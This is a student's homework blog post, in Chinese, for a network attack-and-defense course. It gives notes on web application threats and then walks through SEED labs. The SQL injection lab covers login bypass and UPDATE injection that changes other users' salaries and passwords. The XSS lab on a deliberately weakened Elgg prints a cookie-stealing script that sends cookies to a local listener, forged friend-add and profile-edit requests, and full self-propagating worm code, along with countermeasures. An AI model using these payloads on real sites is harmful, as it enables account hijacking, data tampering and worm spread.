20199319 2019-2020-2 《网络攻防实践》第十一周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
我在这个课程的目标是 学习并掌握网络攻防知识,能完成相关实践
这个作业在哪个具体方面帮助我实现目标 学习Web应用程序攻防知识,进行SQL注入攻击和XSS攻击

Web应用程序的安全攻防

1.知识点梳理与总结

Web应用程序体系结构及其安全威胁

1、Web应用体系结构:采用B/S计算结构,浏览器主要完成数据显示与展示内容的渲染,服务器负责主要业务的计算处理,两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。

  • 服务器端由Web服务器软件、Web应用程序及后端数据库构成,通过经典的三层架构,即表示层、业务逻辑层、数据层,来进行组织与构建。
  • 浏览器:使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取信息和应用服务。如IE、Firefox、Chrome等。
  • Web服务器:除了是一个HTTP守护程序(接受Web客户端对资源的请求,在这些请求上执行基本的解析处理以确定资源存在,然后传送给Web应用程序执行,待执行完逻辑并返回响应时,Web服务器再将响应返回给客户端,在浏览器进行本地执行、渲染和展示);还支持各种Web动态编程语言。
  • Web应用程序:服务器端的业务逻辑,最常见的是三层体系结构:
    (1)表示层:接受Web客户端的输入并显示结果,由HTML的显示、输入表单等标签组成。
    (2)业务逻辑层:核心。从表示层接受输入并完成某些工作,可能需要数据层的协作,再将结果送回表示层。
    (3)数据层:以数据库或本地文件的形式,提供非易失的信息存储,可被逻辑层请求或更新。
  • 数据库:Web应用存储数据的地方。数据库查询语言SQL,数据连接器ODBC(开放数据库连接)、OLEDB(对象链接与嵌入数据库)、JDBC(Java数据库连接)。
  • 传输协议HTTP/HTTPS:浏览器与Web服务器站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,采用统一资源标识符URI对各种资源进行统一定义,采用请求/响应模式请求资源。SSL/TLS隧道技术实现加密传输的HTTPS协议。

2、Web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁:以浏览器渗透为核心的网页木马、网站钓鱼等。
  • 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听;假冒身份攻击;拒绝服务攻击等。
  • 系统层安全威胁:远程渗透攻击;本地渗透攻击。
  • Web服务器软件安全威胁:针对Web服务器软件IIS、Apache存在的漏洞实施渗透攻击;
  • Web应用程序安全威胁:SQL注入攻击、XSS跨站脚本攻击;
  • Web数据安全威胁:后台存储的关键数据内容,存在被窃取、篡改及输入不良信息等威胁。

Web应用安全攻防技术概述

1、Web应用攻击路线主要包括:Web应用信息收集、攻击Web服务器软件、攻击Web应用程序、攻击Web数据内容、本地攻击。

2、Web应用信息收集:内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。途径如下:

  • 手工审查Web应用程序结构与源代码
    • 查看静态和动态生成的页面,查看静态HTML源文件;动态页面的脚本编程语言、页面命名规则等;
    • 查看Web服务器的存储目录结构。工具:Whisker,获取目录结构视图;
    • 查看辅助性文件,包括CSS级联样式表、XML样式表、JavaScript文件等,可能得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等信息。
    • 查看输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
    • 查询参数字符串,可以复用以假冒其他用户、获取受限的数据、运行任意的系统命令等;参数变量名提供了Web应用程序内部工作的信息;
  • 自动下载与镜像Web站点页面:自动化手工审查过程。
    - 工具:linux中—lynx、wget;windows上—TelePort Pro、Offline Explorer、迅雷、Flashget等。
  • Google Hacking技术审查与探测Web应用程序:Google利用网页爬虫程序Googlebo已经收集几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
  • Web应用程序安全评估与漏洞审查
    • 获得目标Web站点应用程序入口点、源代码、关键信息后,要对目标应用程序各主要功能进行评估;
    • 针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查;
    • 辅助分析工具包括:浏览器安全分析插件、免费工具集(Whisker、Burp Suite、Domain等)、商业Web应用安全评估系统和漏洞扫描器。

3、攻击Web服务器软件

  • 流行的Web服务器软件:Windows/IIS/MS SQL/ ASP;LAMP(Linux/Apache/MySQL/PHP)
  • 五类Web服务器平台中的安全漏洞:
    • 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,面临缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。可能使攻击者直接获取远程代码执行的权利;
    • 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache组件模块等存在漏洞。
    • 样本文件安全漏洞:Web应用服务器软件包中包含的样本文件和代码示例存在漏洞。
    • 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
    • 资源解析攻击:Web服务器软件在处理自愿请求时,需要将统一资源的不同表示方式解析为标准化名称,这一过程即资源解析。解析过程中可能遗漏一些输入合法性验证处理,导致目录遍历、敏感信息泄露、代码注入攻击等。

4、攻击Web应用程序

  • Web应用程序是安全最薄弱的环节

Web应用程序安全威胁从攻击技术角度分为6类:

  • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段(暴力枚举、恢复验证机制等);
  • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段(信任/会话预测、窃取会话身份等);
  • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段(内容欺骗、跨站脚本攻击等)。
  • 命令执行攻击:在web站点执行远程命令的攻击手段(缓冲区溢出、格式化字符串、SQL注入等)。
  • 信息暴露:获取web站点具体系统信息的攻击手段(母驴列举、信息泄露、路径遍历等)。
  • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段(功能滥用、拒绝服务等)。

5、攻击Web数据内容

安全敏感数据泄露

  • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置;
  • 利用web服务器的Upload、incoming等上传目录临时中转文件;
  • 在web站点公开的文档资料中包含敏感数据;

网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,宣布入侵成功或表达诉求;
不良信息内容上传:Web站点被攻陷后可能遭受不良信息内容上传的威胁;

6、Web应用安全防范措施

  • Web站点网络传输安全设防措施:使用HTTPS、SSH、SFTP等安全协议;对关键Web服务器设置静态绑定MAC-IP映射;部署防火墙和入侵检测系统等。
  • Web站点操作系统及服务安全设防措施:及时进行操作系统及服务的补丁更新;进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施,如关闭不是用的服务、设置强口令字等。
  • Web应用程序安全设防措施:设计开发Web应用时应谨慎考虑动态静态页面;必须采用动态页面时,尽量是哟用声誉良好的Web应用软件包;重视安全编程、安全测试与维护;进行日志记录与安全审计。
  • Web站点数据安全设防措施:提高网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护。

SQL注入攻击

1、SQL注入:利用Web应用程序的输入验证不完善安全漏洞实施的一类代码注入攻击技术。

  • 产生原因:用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符(单引号、双引号、分号、%、#等),或没有进行严格的类型判断,从而使得用户可以输入并执行一些非预期的SQL指令代码。
  • 攻击原理:向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得意执行并完成非预期的攻击操作行为。
  • SQL注入攻击实例:在用户登录上进行SQL注入攻击。
    (1)用户登录SQL语句形如:SELECT * FROM user WHERE username = '"+username +"' and password= '"+ password +"'
    例如:SELECT * FROM user WHERE username = 'fxn' and password= '123456';
    (2)在参数username或password中插入特殊符号,篡改程序SQL的条件判断,从而攻破用户登录,比如用户名输入为:fxn' OR '1'='1 密码为:'123456'
    (3)程序在收到上述参数后,SQL语句就变成:SELECT * FROM user WHERE username = 'fxn' OR '1'='1' and password= '123456'。其中'1'='1'恒为真,所以SQL语句中WHERE子句永远为真,因此无需知道用户名和密码,便可成功登录。

2、SQL注入攻击步骤

(1)发现SQL注入点:常见注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数时,通常SQL操作语句为【SELECT * FROM some_table WHERE some_rec=yyy】,可将yyy设置为如下三种字符串,通过返回页面判断该动态页面是否存在SQL注入点。如果以下三种情况均满足,则存在注入点。当some_rec字段为字符串参数时同理。

  • 【yyy修改为yyy'】 ,数据类型不符造成SQL出错,动态页面返回错误提示信息。
  • 【yyy修改为yyy and 1=1 】不对查询条件造成任何影响,返回正常页面。
  • 【yyy修改为yyy and 1=2】,1=2是永假式,查询不到任何信息,返回空白页面或错误提示信息。

(2)判断后台数据库类型

  • 利用数据库服务器的系统变量进行判断:不同的数据库有着不同的系统变量,如MS SQL Server有use、db_name(),MySQL有basedir等。
  • 利用数据库服务器的系统表进行判断:ACCESS的系统表是msyobjects,且无法在web环境下访问;MS SQL Server的系统表是sysobjects,可以在web环境下访问。

(3)后台数据库中管理员口令字猜解:一般web应用程序都有管理员用户账号,通过sql注入攻击能够得到管理员账号和密码,就能以管理员账号登录,过程如下:

  • 猜解表名。根据个人经验,一般可能是user,users等,利用【http://SITE/xxx.asp?some_rec=yyy and (select count (*) from 表名)>0】
  • 猜解字段名。确定表名后,也可用类似的方法猜测字段名。
  • 用户名和口令猜解:得到表名和字段名之后,进行猜测用户名和口令字段。先猜解长度【http://SITE/xxx.asp?some_rec=yyy and (select top 1 len(username) from Admin)>猜测长度】;获得长度后,二分法获取ASCII值,利用【(select top 1 asc(mid(username,N,1)) from Admin)>猜测的ASCII】获取第N位字符。

(4)上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的上传/下载文件等功能上传ASP后门,对Web站点进行远程控制。
(5)本地特权提升;
(6)利用数据库扩展存储过程执行shell命令;

3、SQL注入攻击工具:

  • 自动化SQL注入漏洞发现和攻击工具
    Wposion:能够在动态Web文档中找出SQL注入漏洞。
    wieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
  • 自动化SQL注入测试工具
    SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
    SPI Toolkit工具包中的“SQL Injector”工具。

4、SQL注入攻击防范措施

  • 使用类型安全的参数编码机制。
  • 凡是来自外部的用户输入,必须进行完备检查。
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
  • 加强SQL数据库服务器的配置与连接。

XSS跨站脚本攻击

1、产生原因:
对用户输入内容的验证安全与过滤不够完善。在许多的web论坛、博客等允许用户交互的web程序,用户提交的内容中可能包含脚本代码,一旦没有对这些输入的合法性进行有效检查,就可能让恶意代码逻辑包含在网页中。

2、XSS攻击的目标不是服务器,而是用户。攻击者利用漏洞在服务器端网页中插入恶意客户端脚本代码,产生一些恶意页面,在其他用户访问该页面时,就会下载并执行该页面上的恶意脚本,进行解析与执行从而遭受攻击。

3、XSS攻击类型:

持久性XSS漏洞/存储性XSS漏洞

  • Web应用程序将用户输入内容持久保存并显示在网页上。
  • **攻击方式: **攻击者注入恶意脚本永久性包含在网页中,对大量用户构成危害。
  • 出现在留言本/论坛/博客等应用中。

非持久性XSS漏洞/反射XSS漏洞
站点搜索引擎功能实例:用户搜索特定查询字符串,这个字符串会在查询结果页面重新显示,如果查询结果页面没有对字符串进行转义过滤,就可能被XSS跨站脚本攻击。攻击步骤:

  • 攻击者构造一个包含恶意脚本的bank.com登录请求链接,通过Email/HTTP等方式发送给网站的其他用户。
  • 受害用户点击链接后会将恶意链接中包含的恶意脚本当做用户名参数提交给bank.com登录处理页面。
  • 由于bank.com登录页面存在XSS漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本。
  • 攻击者的恶意客户端脚本在受害者浏览器中执行,会驱动浏览器向攻击者发送会话令牌。
  • 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录bank.com进一步实施攻击。

4、XSS攻击防范措施

服务器端防范措施:

  • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤;
  • 输出净化: 进行HTML编码,HTMLEncode()方法;
  • 消除危险的输入点;

客户端防范措施

  • 提高浏览器访问非受信网站时的安全等级;
  • 关闭Cookie功能,或设置Cookie只读;
  • 采用非主流安全浏览器;

2. 实践过程

实践1:SEED SQL注入攻击与防御实验

我们已经创建了一个 web 应用程序,并将其托管在www.SEEDLabSQLInjection.com上。这个web应用程序是一个简单的员工管理应用程序。员工可以通过此web应用程序查看和更新数据库中的个人信息。此web应用程序中主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息;员工是普通角色,可以查看或更新自己的资料信息。完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗,修复上述SQL注入攻击漏洞。

实验环境

  • SEED Ubuntu 16.04
  • Web应用网站:http://www.SEEDLabSQLInjection.com ;其本地文件夹路径/var/www/SQLInjection/。
  • 托管网站的Apache2服务器,使用指令【sudo service apache2 start】启动Apache服务。

实践过程

  • MySQL是关系数据库管理系统,SEEDUbuntu VM 映像中已经设置了MySQL。用户名:root,密码:seedubuntu。使用以下命令登录MySQL控制台:【mysql -u root -pseedubuntu】,其中-u指定用户名,-p指定密码;进入mysql后,根据提示可以使用【help】指令查看帮助手册。
  • 可以使用【show databases;】查看有哪些数据库,可以看到实验环境已经创建了用户数据库Users,使用命令【use Users;】加载此数据库,然后再查看所选数据库的所有表【show tables;】
  • 使用命令【select * from credential】打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。
  • 根据实验指导,打开/var/www/SQLInjection/unsafe_home.php,查看有关登录的SQL语句。


  • SQL语句的内容是:从credential表中选择id、name、salary、ssn等个人员工信息。SQL语句使用了两个变量input uname(保存用户在登录页username字段中键入的字符串)和hashed pwd(保存用户键入密码的sha1哈希值)。用户输入用户名和密码后,该程序检查是否有任何记录与输入的用户名和密码匹配,如果有匹配,则用户将成功通过身份验证,并获得相应的员工信息;如果没有匹配项,则验证失败。通过观察可以发现,程序中对于是否为Admin进行单独判定,根据经验也可以推断其为管理员账户名。
  • 浏览器访问www.SEEDLabSQLInjection.com进入登录页面,在username字段输入【Admin'#】,Password字段可以不输入。这样SQL语句便如下所示:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'

  • "#"在sql语句中代表注释,所以上述代码中#之后的内容在实际过程中不会被执行。上述语句就变成了下面的代码,即不会对密码进行验证。又因为输入的员工名是Admin管理员,所以可以输出所有员工的信息,攻击成功!
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'

  • 接下来尝试利用命令行完成管理员的登录。注意特殊符号要进行转义,即找到几个特殊符号的十六进制,#用%23表示;需要用到curl,它是一个命令行工具,通过指定的URL来上传或下载数据。使用指令【curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'】登录系统。通过返回的HTML代码,与上面看到的信息相同,证明攻击成功!
  • 追加新的SQL语句。上述攻击中只是从数据库中获取已有数据,现在尝试通过sql注入插入或者修改数据。因为分号;是sql语句的结束符,所以在构建sql注入攻击时,便可以使用;将一条语句分割成两条sql语句,其中第二条是我们精心构建的插入或者修改语句。比如修改Admin的薪水为19,语句如下:即在username输入Admin';UPDATE credential SET Salary='19' WHERE name='Admin'#
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'; UPDATE credential SET salary='19' WHERE name='Admin';#' and Password='$hashed_pwd
  • 结果发现攻击失败,因为MySQL机制中update不支持union语法(联合,即合并两个或多个select语句的结果集,并消除重复行),因此导致攻击失败。

  • 对UPDATE语句的SQL注入攻击。首先要找到UPDATE语句,在unsafe_edit_backend.php中可以看到员工只能修改基本的信息,无权修改工资。

  • 修改Alice的工资。用类似前面管理员登录的方式登录Alice的账号【Alice'#】,登录之后可以看到Alice的相关信息,记住EID为10000,或者用Alice作为约束条件。然后点击进入【edit profile】修改信息。在NickName中输入语句【', salary='9319' where EID='10000';#】点击保存。sql语句变成:#后面的就会被注释
UPDATE credential SET nickname='',salary='9319' where EID='10000'; # ',email='$input_email',address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;


  • 然后回到profile中可以看到工资已经修改为9319,攻击成功。

  • 修改他人薪资。同理,在NickName中输入语句【', salary='19' where Name='Boby'#】点击保存,也可以将Name字段改为其他用户,这样就可以修改任意用户的Salary字段。
  • 利用【Boby'#】登录Boby,可以看到工资修改成功!
  • 修改他人密码。通过unsafe_edit_backend.php中的SQL语句可以看到,输入的密码经过sha1加密之后保存到了数据库的Password字段。所以需要获取一个指定密码的sha1值。使用指令【echo -n '123456'|sha1sum】,输出密码123456的sha1值为【7c4a8d09ca3762af61e59520943dc26494f8941b】。
  • 以Alice的账户登录,继续在edit profile进行修改【', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Samy';#】。此时可以正常登陆Samy的账户,密码为123456,攻击成功。


实践2:XSS攻击

为了演示攻击者如何利用XSS漏洞,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。Elgg是一个非常流行的面向社交网络的开源web应用程序,它已经实现了许多应对XSS威胁的措施。为了演示XSS攻击是如何工作的,我们在安装的Elgg中评论了这些对策,故意使Elgg易受XSS攻击。如果没有对策,用户可以向用户配置文件发布任意消息,包括JavaScript程序。在这个实验室里,学生们需要利用这个漏洞对修改后的Elgg发起XSS攻击,其方式类似于2005年Samy Kamkar通过臭名昭著的Samy蠕虫对MySpace的攻击。此攻击的最终目标是在用户中传播XSS蠕虫,这样,查看受感染用户配置文件的人将受到感染,而受感染的人将把您(即攻击者)添加到他/她的朋友列表中。任务如下:
(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。

实验环境

  • SEED Ubuntu 16.04
  • ElggWeb应用程序。本实验使用一个名为Elgg的开源web应用程序,Elgg是一个基于web的社交网络应用程序,并且已经在预先构建的SEED Ubuntu VM映像中设置好了。Elgg服务器上创建的几个用户帐户:
  • Web应用程序网站http://www.xsslabelgg.com;相关的文件夹/var/www/XSS/Elgg/。
  • 托管网站的Apache2服务器,使用指令【sudo service apache2 start】启动Apache服务。
  • 在Firefox的扩展中安装HTTP Header Live插件,检查HTTP头。

实践过程

  • 发布恶意消息,显示警报窗口。首先利用alice的账户【alice】和密码【seedalice】登录Elgg,然后点击进入【Edit profile】,在Brief description域中添加JavaScript代码【】代码并保存。

  • 登录Boby用户,搜索找到Alice,点击查看alice的profile,会出现XSS弹窗。

  • 弹窗显示cookie信息。和上个任务类似,将Brief description域中插入的js代码改成【】即可,点击save保存,此时弹出 Alice的Cookies。

  • 然后用Boby查看Alice的profile,出现弹窗,得到Boby的Cookies。
  • 窃取受害者的cookies。上一个任务只能弹出自己的cookie,这一任务中通过JavaScript代码可以看到受害者的cookies。在恶意JavaScript中插入一个标签,其src属性设置为攻击者的机器。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,HTTP GET请求发送到攻击者的机器。使用JavaScript将cookies发送到攻击者机器的5555端口,以本地作为攻击者的服务器。此时攻击者的TCP server侦听此端口,服务器则可打印出任何收到的内容。
<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

  • 命令行使用nc进行监听5555端口【nc -l 5555 -v】,其中-l指定端口,-v显示详细信息。然后使用Boby的账户登录并且查看Alice的账户profile就能够得到Alice的cookie信息。
  • 成为受害者的朋友。首先通过HTTP Header Live查看加朋友的时候都需要哪些指令。登陆Boby的账户,访问Alice的主页,点击Add Friend,并同时使用HTTP Header Live查看发送的数据,可以发现:请求的地址是http://www.xsslabelgg.com/action/friends/add;请求地址的第一个参数是friend=(samy的编号是47);请求地址的第二个参数是__elgg_ts=;请求地址的第三个参数是__elgg_token=,通过这些东西构造javascript脚本。
  • sendurl中包含了加朋友所需要内容,把这段程序放在Alice的About me中(注:此字段提供两种编辑模式:编辑器模式(默认)和文本模式。编辑器模式向字段中键入的文本添加额外的HTML代码,而文本模式不添加。在输入上述JavaScript代码之前切换成文本模式,这样攻击代码中不会添加任何额外的代码)。
/*首先获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。*/
<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;  #添加Alice

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

  • 登录Boby,然后访问Alice的主页,在Boby的好友列表中可以看到已经自动加Alice为好友。
  • 修改受害者的信息。和上一问类似,先用HTTP Header Live查看修改profile时要做的事情。
  • 构造的js程序。首先获取访问者的&__elgg_token=、__elgg_ts、&__name=elgg.session.user.name和页面的其他信息。构建请求url,然后通过 XMLHttpRequest 对象构建请求,请求的方式为POST,设置请求头和其他信息,通过send函数发送请求。
<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
        var content=token+ts+"name="+userName+"&description=<p>This have been cracked by Samy.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

        var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=47;   //samy编号是47
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

  • 在Samy中输入以上内容,保存后退出,使用Charlie账号登录,首先查看Charlie的主页,发现没有内容。搜索访问Samy后,再查看Charlie的主页,发现显示“This have been cracked by Samy.”攻击成功!


  • 编写自传播XSS蠕虫。有两种方法可以进行攻击的繁殖,一种是链接的方式,就是把脚本放在一个固定的地方;第二种方法,就是使用DOM API的方法,文档对象模型,将Web页面和脚本或程序语言连接起来。代码示例:通过innerHTML获取了worm的所有代码,然后补充完整它的格式,最后将它输出。
<script id=worm>
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
    var jsCode = document.getElementById("worm").innerHTML; ➁
    var tailTag = "</" + "script>"; ➂
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
    alert(headerTag + jsCode + tailTag);
</script>
  • 将上述代码与上一问中的代码结合就可以得到一个完整的,带有传播功能的蠕虫病毒。如下所示:
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by samy  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
                var samyGuid=47;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}	
	}
</script>
  • 在Samy的About me中输入上述代码,保存,然后用Charlie账号登录,搜索访问Samy后,会弹出提示框,证明Charlie被感染。

  • 再用Boby账号登录,搜索访问Charlie后,会弹出提示框,证明Boby被感染,说明之前Charlie感染了蠕虫病毒并且进行了复制。

  • Elgg本身提供了对抗XSS攻击的插件,利用管理员账户进行登录,进入【Account->administration->plugins】,找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。还有一种方式是在代码中调用htmlspecialchars()方法,主要是对特殊字符进行编码,也可以防范XSS攻击问题。

3. 学习中遇到的问题及解决

1、最开始安装的SEED ubuntu版本过低大概9.几

2、对js编程以及sql语句不熟悉,涉及到编写语句就比较困难。

  • 参考实验指导,参考其他同学的博客然后上网搜集资料,但是完全自己写还是不行。

3、由于网络问题,HTTP Header Live插件一直无法下载。
尝试了一些方法解决网络问题:https://blog.csdn.net/spy_h/article/details/80933458,依旧不行。
最后是第二天再打开自己好了...

4.学习感想和体会

这周学习了Web应用程序的攻防知识,进行了SQL注入攻击和XSS攻击这两种比较重要的攻击方式。但是由于对js编程以及sql语句不熟悉导致涉及到编写程序的部分就比较困难,还得靠参考实验指导和同学的博客才能完成,还要多学习!

参考资料

MySQL教程
数据库之sql语句汇总
ubuntu网络问题
DOM介绍

posted @ 2020-05-13 10:54  1993Fxn  阅读(400)  评论(0编辑  收藏  举报